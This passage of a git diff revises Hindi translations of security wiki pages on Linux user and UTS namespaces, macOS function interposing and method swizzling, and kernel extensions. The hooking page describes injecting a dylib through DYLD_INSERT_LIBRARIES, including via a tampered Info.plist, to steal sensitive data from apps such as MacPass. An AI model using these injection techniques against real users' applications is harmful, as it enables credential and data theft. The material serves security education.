- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
+- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना किए बिना कार्य कर सकें।
@@ -53,14 +53,14 @@ sudo unshare -U [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-उपयोगकर्ता नामस्थान का उपयोग करने के लिए, Docker डेमन को **`--userns-remap=default`** के साथ शुरू किया जाना चाहिए (उबंटू 14.04 में, यह `/etc/default/docker` को संशोधित करके और फिर `sudo service docker restart` चलाकर किया जा सकता है)
+Docker डेमन को **`--userns-remap=default`** के साथ शुरू करने की आवश्यकता है (उबंटू 14.04 में, यह `/etc/default/docker` को संशोधित करके और फिर `sudo service docker restart` चलाकर किया जा सकता है)
-### जांचें कि आपका प्रक्रिया किस नामस्थान में है
+### जांचें कि आपका प्रक्रिया किस namespace में है
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
-यह संभव है कि आप docker कंटेनर से उपयोगकर्ता मानचित्र की जांच करें:
+यह संभव है कि आप docker कंटेनर से उपयोगकर्ता मानचित्र की जांच कर सकें:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
@@ -96,11 +96,11 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
-### क्षमताओं की पुनर्प्राप्ति
+### Recovering Capabilities
-उपयोगकर्ता नामस्थान के मामले में, **जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो उस नामस्थान में प्रवेश करने वाली प्रक्रिया को पूर्ण क्षमताओं का सेट दिया जाता है**। ये क्षमताएँ प्रक्रिया को विशेषाधिकार प्राप्त संचालन करने की अनुमति देती हैं जैसे कि **फाइल सिस्टम को माउंट करना**, उपकरण बनाना, या फाइलों के स्वामित्व को बदलना, लेकिन **केवल इसके उपयोगकर्ता नामस्थान के संदर्भ में**।
+In the case of user namespaces, **जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो उस नामस्थान में प्रवेश करने वाली प्रक्रिया को पूर्ण क्षमताओं का एक सेट दिया जाता है**। ये क्षमताएँ प्रक्रिया को विशेषाधिकार प्राप्त संचालन करने की अनुमति देती हैं जैसे कि **माउंटिंग** **फाइल सिस्टम**, उपकरण बनाना, या फ़ाइलों के स्वामित्व को बदलना, लेकिन **केवल इसके उपयोगकर्ता नामस्थान के संदर्भ में**।
-उदाहरण के लिए, जब आपके पास एक उपयोगकर्ता नामस्थान के भीतर `CAP_SYS_ADMIN` क्षमता होती है, तो आप ऐसे संचालन कर सकते हैं जो आमतौर पर इस क्षमता की आवश्यकता होती है, जैसे कि फाइल सिस्टम को माउंट करना, लेकिन केवल आपके उपयोगकर्ता नामस्थान के संदर्भ में। इस क्षमता के साथ किए गए कोई भी संचालन होस्ट सिस्टम या अन्य नामस्थानों को प्रभावित नहीं करेंगे।
+उदाहरण के लिए, जब आपके पास एक उपयोगकर्ता नामस्थान के भीतर `CAP_SYS_ADMIN` क्षमता होती है, तो आप उन संचालन को कर सकते हैं जो आमतौर पर इस क्षमता की आवश्यकता होती है, जैसे कि फाइल सिस्टम को माउंट करना, लेकिन केवल आपके उपयोगकर्ता नामस्थान के संदर्भ में। इस क्षमता के साथ किए गए कोई भी संचालन होस्ट सिस्टम या अन्य नामस्थानों को प्रभावित नहीं करेंगे।
> [!WARNING]
> इसलिए, भले ही एक नए उपयोगकर्ता नामस्थान के अंदर एक नई प्रक्रिया प्राप्त करना **आपको सभी क्षमताएँ वापस देगा** (CapEff: 000001ffffffffff), आप वास्तव में **केवल नामस्थान से संबंधित क्षमताओं का उपयोग कर सकते हैं** (उदाहरण के लिए माउंट) लेकिन हर एक का नहीं। इसलिए, यह अपने आप में एक Docker कंटेनर से भागने के लिए पर्याप्त नहीं है।
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 133514e95..d01da6f72 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -4,13 +4,13 @@
## Basic Information
-एक UTS (UNIX Time-Sharing System) namespace एक Linux kernel विशेषता है जो **दो सिस्टम पहचानकर्ताओं** का **अलगाव** प्रदान करती है: **hostname** और **NIS** (Network Information Service) डोमेन नाम। यह अलगाव प्रत्येक UTS namespace को अपना **स्वतंत्र hostname और NIS डोमेन नाम** रखने की अनुमति देता है, जो कंटेनरीकरण परिदृश्यों में विशेष रूप से उपयोगी है जहां प्रत्येक कंटेनर को अपने hostname के साथ एक अलग सिस्टम के रूप में प्रकट होना चाहिए।
+एक UTS (UNIX Time-Sharing System) namespace एक Linux kernel विशेषता है जो **दो सिस्टम पहचानकर्ताओं** का **अलगाव** प्रदान करती है: **hostname** और **NIS** (Network Information Service) डोमेन नाम। यह अलगाव प्रत्येक UTS namespace को **अपना स्वतंत्र hostname और NIS डोमेन नाम** रखने की अनुमति देता है, जो कंटेनरीकरण परिदृश्यों में विशेष रूप से उपयोगी है जहाँ प्रत्येक कंटेनर को अपने hostname के साथ एक अलग सिस्टम के रूप में प्रकट होना चाहिए।
### How it works:
-1. जब एक नया UTS namespace बनाया जाता है, तो यह अपने माता-पिता namespace से **hostname और NIS डोमेन नाम की एक प्रति** के साथ शुरू होता है। इसका मतलब है कि, निर्माण के समय, नया namespace अपने माता-पिता के समान पहचानकर्ताओं को **साझा करता है**। हालाँकि, namespace के भीतर hostname या NIS डोमेन नाम में कोई भी बाद में होने वाले परिवर्तन अन्य namespaces को प्रभावित नहीं करेंगे।
-2. UTS namespace के भीतर प्रक्रियाएँ `sethostname()` और `setdomainname()` सिस्टम कॉल का उपयोग करके **hostname और NIS डोमेन नाम** बदल सकती हैं। ये परिवर्तन namespace के लिए स्थानीय होते हैं और अन्य namespaces या होस्ट सिस्टम को प्रभावित नहीं करते हैं।
-3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके namespaces के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए namespaces बना सकती हैं जिसमें `CLONE_NEWUTS` फ्लैग होता है। जब एक प्रक्रिया एक नए namespace में जाती है या एक बनाती है, तो यह उस namespace से जुड़े hostname और NIS डोमेन नाम का उपयोग करना शुरू कर देगी।
+1. जब एक नया UTS namespace बनाया जाता है, तो यह अपने माता-पिता namespace से **hostname और NIS डोमेन नाम की एक प्रति** के साथ शुरू होता है। इसका मतलब है कि, निर्माण के समय, नया namespace **अपने माता-पिता के समान पहचानकर्ता साझा करता है**। हालाँकि, namespace के भीतर hostname या NIS डोमेन नाम में कोई भी बाद में होने वाले परिवर्तन अन्य namespaces को प्रभावित नहीं करेंगे।
+2. UTS namespace के भीतर प्रक्रियाएँ **hostname और NIS डोमेन नाम** को क्रमशः `sethostname()` और `setdomainname()` सिस्टम कॉल का उपयोग करके बदल सकती हैं। ये परिवर्तन namespace के लिए स्थानीय होते हैं और अन्य namespaces या होस्ट सिस्टम को प्रभावित नहीं करते हैं।
+3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके namespaces के बीच स्थानांतरित हो सकती हैं या `CLONE_NEWUTS` ध्वज के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए namespaces बना सकती हैं। जब एक प्रक्रिया एक नए namespace में जाती है या एक बनाती है, तो यह उस namespace से जुड़े hostname और NIS डोमेन नाम का उपयोग करना शुरू कर देगी।
## Lab:
@@ -20,29 +20,29 @@
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल प्रणाली के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलग दृश्य** है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
-- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
+- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
+- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना किए बिना कार्य कर सकें।
@@ -50,7 +50,7 @@ sudo unshare -u [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
+### जांचें कि आपका प्रोसेस किस नामस्थान में है
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep
```
-### UTS नामस्थान के अंदर प्रवेश करें
+### UTS namespace के अंदर प्रवेश करें
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 2080b8706..fa8e9556a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -4,9 +4,9 @@
## Function Interposing
-एक **dylib** बनाएं जिसमें एक **`__interpose`** सेक्शन (या एक सेक्शन जिसे **`S_INTERPOSING`** के साथ चिह्नित किया गया हो) हो, जिसमें **function pointers** के ट्यूपल हों जो **original** और **replacement** functions को संदर्भित करते हैं।
+एक **dylib** बनाएं जिसमें एक **`__interpose`** सेक्शन (या एक सेक्शन जिसे **`S_INTERPOSING`** के साथ चिह्नित किया गया हो) हो, जिसमें **function pointers** के ट्यूपल्स हों जो **original** और **replacement** functions को संदर्भित करते हैं।
-फिर, **inject** करें dylib को **`DYLD_INSERT_LIBRARIES`** के साथ (interposing मुख्य ऐप लोड होने से पहले होनी चाहिए)। स्पष्ट रूप से [**restrictions** जो **`DYLD_INSERT_LIBRARIES`** के उपयोग पर लागू होती हैं, यहाँ भी लागू होती हैं](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+फिर, **`DYLD_INSERT_LIBRARIES`** के साथ dylib को **inject** करें (interposing मुख्य ऐप लोड होने से पहले होनी चाहिए)। स्पष्ट रूप से [**`DYLD_INSERT_LIBRARIES`** के उपयोग पर लागू **restrictions** यहाँ भी लागू होते हैं](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)।
### Interpose printf
@@ -81,18 +81,18 @@ Hello from interpose
In ObjectiveC यह एक विधि को इस तरह से कॉल किया जाता है: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
-यह आवश्यक है **object**, **method** और **params**। और जब एक विधि को कॉल किया जाता है, तो एक **msg भेजा जाता है** जो कि फ़ंक्शन **`objc_msgSend`** का उपयोग करता है: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
+यह आवश्यक है **object**, **method** और **params**। और जब एक विधि को कॉल किया जाता है, तो एक **msg भेजा जाता है** जो फ़ंक्शन **`objc_msgSend`** का उपयोग करता है: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
ऑब्जेक्ट है **`someObject`**, विधि है **`@selector(method1p1:p2:)`** और तर्क हैं **value1**, **value2**।
-ऑब्जेक्ट संरचनाओं के अनुसार, एक **विधियों की सूची** तक पहुंचना संभव है जहां **नाम** और **विधि कोड के लिए पॉइंटर्स** **स्थित** होते हैं।
+ऑब्जेक्ट संरचनाओं के अनुसार, एक **विधियों की सूची** तक पहुँचना संभव है जहाँ **नाम** और **विधि कोड के लिए पॉइंटर्स** **स्थित** होते हैं।
> [!CAUTION]
-> ध्यान दें कि चूंकि विधियों और कक्षाओं तक उनके नामों के आधार पर पहुंचा जाता है, यह जानकारी बाइनरी में संग्रहीत होती है, इसलिए इसे `otool -ov ` या [`class-dump `](https://github.com/nygard/class-dump) के साथ पुनर्प्राप्त करना संभव है।
+> ध्यान दें कि चूंकि विधियों और कक्षाओं को उनके नामों के आधार पर एक्सेस किया जाता है, यह जानकारी बाइनरी में संग्रहीत होती है, इसलिए इसे `otool -ov ` या [`class-dump `](https://github.com/nygard/class-dump) के साथ पुनः प्राप्त करना संभव है।
### Accessing the raw methods
-यह विधियों की जानकारी जैसे नाम, पैरामीटर की संख्या या पता तक पहुंचना संभव है जैसे कि निम्नलिखित उदाहरण में:
+यह विधियों की जानकारी जैसे नाम, पैरामीटर की संख्या या पता तक पहुँचने के लिए संभव है जैसे कि निम्नलिखित उदाहरण में:
```objectivec
// gcc -framework Foundation test.m -o test
@@ -160,10 +160,10 @@ return 0;
```
### Method Swizzling with method_exchangeImplementations
-फंक्शन **`method_exchangeImplementations`** **एक फंक्शन के लिए दूसरे** के **इम्प्लीमेंटेशन** के **पते** को **बदलने** की अनुमति देता है।
+The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
> [!CAUTION]
-> इसलिए जब एक फंक्शन को कॉल किया जाता है, तो **जो कार्यान्वित होता है वह दूसरा होता है**।
+> So when a function is called what is **executed is the other one**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@@ -212,9 +212,9 @@ return 0;
>
> निम्नलिखित तकनीक में यह प्रतिबंध नहीं है।
-### Method Swizzling with method_setImplementation
+### विधि स्विज़लिंग के साथ method_setImplementation
-पिछला प्रारूप अजीब है क्योंकि आप 2 विधियों के कार्यान्वयन को एक-दूसरे से बदल रहे हैं। फ़ंक्शन **`method_setImplementation`** का उपयोग करके आप **एक विधि के कार्यान्वयन को दूसरे के लिए बदल** सकते हैं।
+पिछला प्रारूप अजीब है क्योंकि आप एक विधि के कार्यान्वयन को दूसरी से बदल रहे हैं। फ़ंक्शन **`method_setImplementation`** का उपयोग करके आप **एक विधि के कार्यान्वयन को दूसरी के लिए बदल** सकते हैं।
बस याद रखें कि यदि आप इसे नए कार्यान्वयन से कॉल करने जा रहे हैं तो **मूल वाले के कार्यान्वयन का पता** **संग्रहित** करें, क्योंकि इसे ओवरराइट करने से पहले इसे ढूंढना बाद में बहुत जटिल होगा।
```objectivec
@@ -274,9 +274,9 @@ return 0;
यह करने के लिए सबसे आसान तकनीक है [पर्यावरण चर के माध्यम से Dyld को इंजेक्ट करना या हाइजैकिंग](../macos-dyld-hijacking-and-dyld_insert_libraries.md)। हालाँकि, मुझे लगता है कि यह [Dylib प्रक्रिया इंजेक्शन](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port) के माध्यम से भी किया जा सकता है।
-हालाँकि, दोनों विकल्प **असुरक्षित** बाइनरी/प्रक्रियाओं तक **सीमित** हैं। सीमाओं के बारे में अधिक जानने के लिए प्रत्येक तकनीक की जाँच करें।
+हालाँकि, दोनों विकल्प **असुरक्षित** बाइनरी/प्रक्रियाओं तक **सीमित** हैं। सीमाओं के बारे में अधिक जानने के लिए प्रत्येक तकनीक की जांच करें।
-हालाँकि, एक फ़ंक्शन हुकिंग हमला बहुत विशिष्ट है, एक हमलावर यह करेगा **प्रक्रिया के अंदर से संवेदनशील जानकारी चुराने के लिए** (यदि नहीं, तो आप बस एक प्रक्रिया इंजेक्शन हमला करेंगे)। और यह संवेदनशील जानकारी उपयोगकर्ता द्वारा डाउनलोड किए गए ऐप्स में स्थित हो सकती है जैसे कि MacPass।
+हालाँकि, एक फ़ंक्शन हुकिंग हमला बहुत विशिष्ट है, एक हमलावर यह करेगा **प्रक्रिया के अंदर से संवेदनशील जानकारी चुराने के लिए** (यदि नहीं, तो आप बस एक प्रक्रिया इंजेक्शन हमला करेंगे)। और यह संवेदनशील जानकारी उपयोगकर्ता द्वारा डाउनलोड किए गए ऐप्स में स्थित हो सकती है जैसे MacPass।
इसलिए हमलावर का वेक्टर या तो एक भेद्यता खोजने या एप्लिकेशन के हस्ताक्षर को हटाने के लिए होगा, **`DYLD_INSERT_LIBRARIES`** env चर को एप्लिकेशन के Info.plist के माध्यम से इंजेक्ट करना, कुछ इस तरह जोड़ना:
```xml
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 6edf6b6b0..8ddd176ad 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -4,25 +4,25 @@
## Basic Information
-Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext`** एक्सटेंशन होता है जो **सीधे macOS कर्नेल स्पेस में लोड** होते हैं, मुख्य ऑपरेटिंग सिस्टम को अतिरिक्त कार्यक्षमता प्रदान करते हैं।
+Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext`** एक्सटेंशन होता है जो **macOS कर्नेल स्पेस में सीधे लोड** किए जाते हैं, मुख्य ऑपरेटिंग सिस्टम को अतिरिक्त कार्यक्षमता प्रदान करते हैं।
### Requirements
-स्पष्ट रूप से, यह इतना शक्तिशाली है कि **कर्नेल एक्सटेंशन लोड करना जटिल है**। ये हैं **आवश्यकताएँ** जो एक कर्नेल एक्सटेंशन को लोड करने के लिए पूरी करनी चाहिए:
+स्पष्ट रूप से, यह इतना शक्तिशाली है कि **कर्नेल एक्सटेंशन लोड करना जटिल है**। ये वे **आवश्यकताएँ** हैं जिन्हें एक कर्नेल एक्सटेंशन को लोड करने के लिए पूरा करना चाहिए:
- जब **रिकवरी मोड में प्रवेश करते हैं**, कर्नेल **एक्सटेंशन को लोड करने की अनुमति होनी चाहिए**:
- कर्नेल एक्सटेंशन को **कर्नेल कोड साइनिंग सर्टिफिकेट** के साथ **साइन** किया जाना चाहिए, जिसे केवल **Apple** द्वारा **प्रदान** किया जा सकता है। जो कंपनी और इसके आवश्यक होने के कारणों की विस्तार से समीक्षा करेगा।
-- कर्नेल एक्सटेंशन को **नोटराइज** भी किया जाना चाहिए, Apple इसे मैलवेयर के लिए जांच सकेगा।
+- कर्नेल एक्सटेंशन को भी **नोटराइज** किया जाना चाहिए, Apple इसे मैलवेयर के लिए जांच सकेगा।
- फिर, **रूट** उपयोगकर्ता ही **कर्नेल एक्सटेंशन को लोड** कर सकता है और पैकेज के अंदर की फ़ाइलें **रूट** की होनी चाहिए।
- अपलोड प्रक्रिया के दौरान, पैकेज को **संरक्षित नॉन-रूट स्थान** में तैयार किया जाना चाहिए: `/Library/StagedExtensions` (इसके लिए `com.apple.rootless.storage.KernelExtensionManagement` ग्रांट की आवश्यकता होती है)।
- अंत में, जब इसे लोड करने का प्रयास किया जाता है, तो उपयोगकर्ता [**एक पुष्टि अनुरोध प्राप्त करेगा**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) और, यदि स्वीकार किया गया, तो कंप्यूटर को इसे लोड करने के लिए **रीस्टार्ट** करना होगा।
### Loading process
-कैटालिना में यह इस तरह था: यह ध्यान देने योग्य है कि **सत्यापन** प्रक्रिया **यूजरलैंड** में होती है। हालाँकि, केवल वे एप्लिकेशन जिनके पास **`com.apple.private.security.kext-management`** ग्रांट है, वे **कर्नेल से एक्सटेंशन लोड करने का अनुरोध कर सकते हैं**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
+कैटालिना में यह इस प्रकार था: यह ध्यान देने योग्य है कि **सत्यापन** प्रक्रिया **यूजरलैंड** में होती है। हालाँकि, केवल वे एप्लिकेशन जिनके पास **`com.apple.private.security.kext-management`** ग्रांट है, वे **कर्नेल से एक्सटेंशन लोड करने का अनुरोध कर सकते हैं**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **एक्सटेंशन लोड करने के लिए सत्यापन** प्रक्रिया **शुरू करता है**
- यह **`kextd`** से **Mach सेवा** का उपयोग करके बात करेगा।
@@ -45,7 +45,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
## Kernelcache
> [!CAUTION]
-> हालांकि कर्नेल एक्सटेंशन `/System/Library/Extensions/` में होने की उम्मीद है, यदि आप इस फ़ोल्डर में जाते हैं तो आप **कोई बाइनरी नहीं पाएंगे**। इसका कारण **कर्नेलकैश** है और एक `.kext` को रिवर्स करने के लिए आपको इसे प्राप्त करने का एक तरीका खोजना होगा।
+> भले ही कर्नेल एक्सटेंशन `/System/Library/Extensions/` में होने की उम्मीद की जाती है, यदि आप इस फ़ोल्डर में जाते हैं तो आप **कोई बाइनरी नहीं पाएंगे**। इसका कारण **कर्नेलकैश** है और एक `.kext` को रिवर्स करने के लिए आपको इसे प्राप्त करने का एक तरीका खोजना होगा।
**कर्नेलकैश** **XNU कर्नेल** का एक **पूर्व-संकलित और पूर्व-लिंक किया गया संस्करण** है, साथ ही आवश्यक डिवाइस **ड्राइवर** और **कर्नेल एक्सटेंशन** भी। इसे एक **संकुचित** प्रारूप में संग्रहीत किया जाता है और बूट-अप प्रक्रिया के दौरान मेमोरी में अनसंकुचित किया जाता है। कर्नेलकैश एक **तेज़ बूट समय** को सुविधाजनक बनाता है क्योंकि इसमें कर्नेल और महत्वपूर्ण ड्राइवरों का एक तैयार-से-चलाने वाला संस्करण उपलब्ध होता है, जिससे बूट समय पर इन घटकों को गतिशील रूप से लोड और लिंक करने में लगने वाले समय और संसाधनों की बचत होती है।
@@ -69,7 +69,7 @@ IMG4 फ़ाइल प्रारूप एक कंटेनर प्र
- हस्ताक्षर शामिल है
- अतिरिक्त कुंजी/मान शब्दकोश
- **Restore Info (IM4R)**:
-- APNonce के रूप में भी जाना जाता है
+- जिसे APNonce के रूप में भी जाना जाता है
- कुछ अपडेट के पुनः खेलने से रोकता है
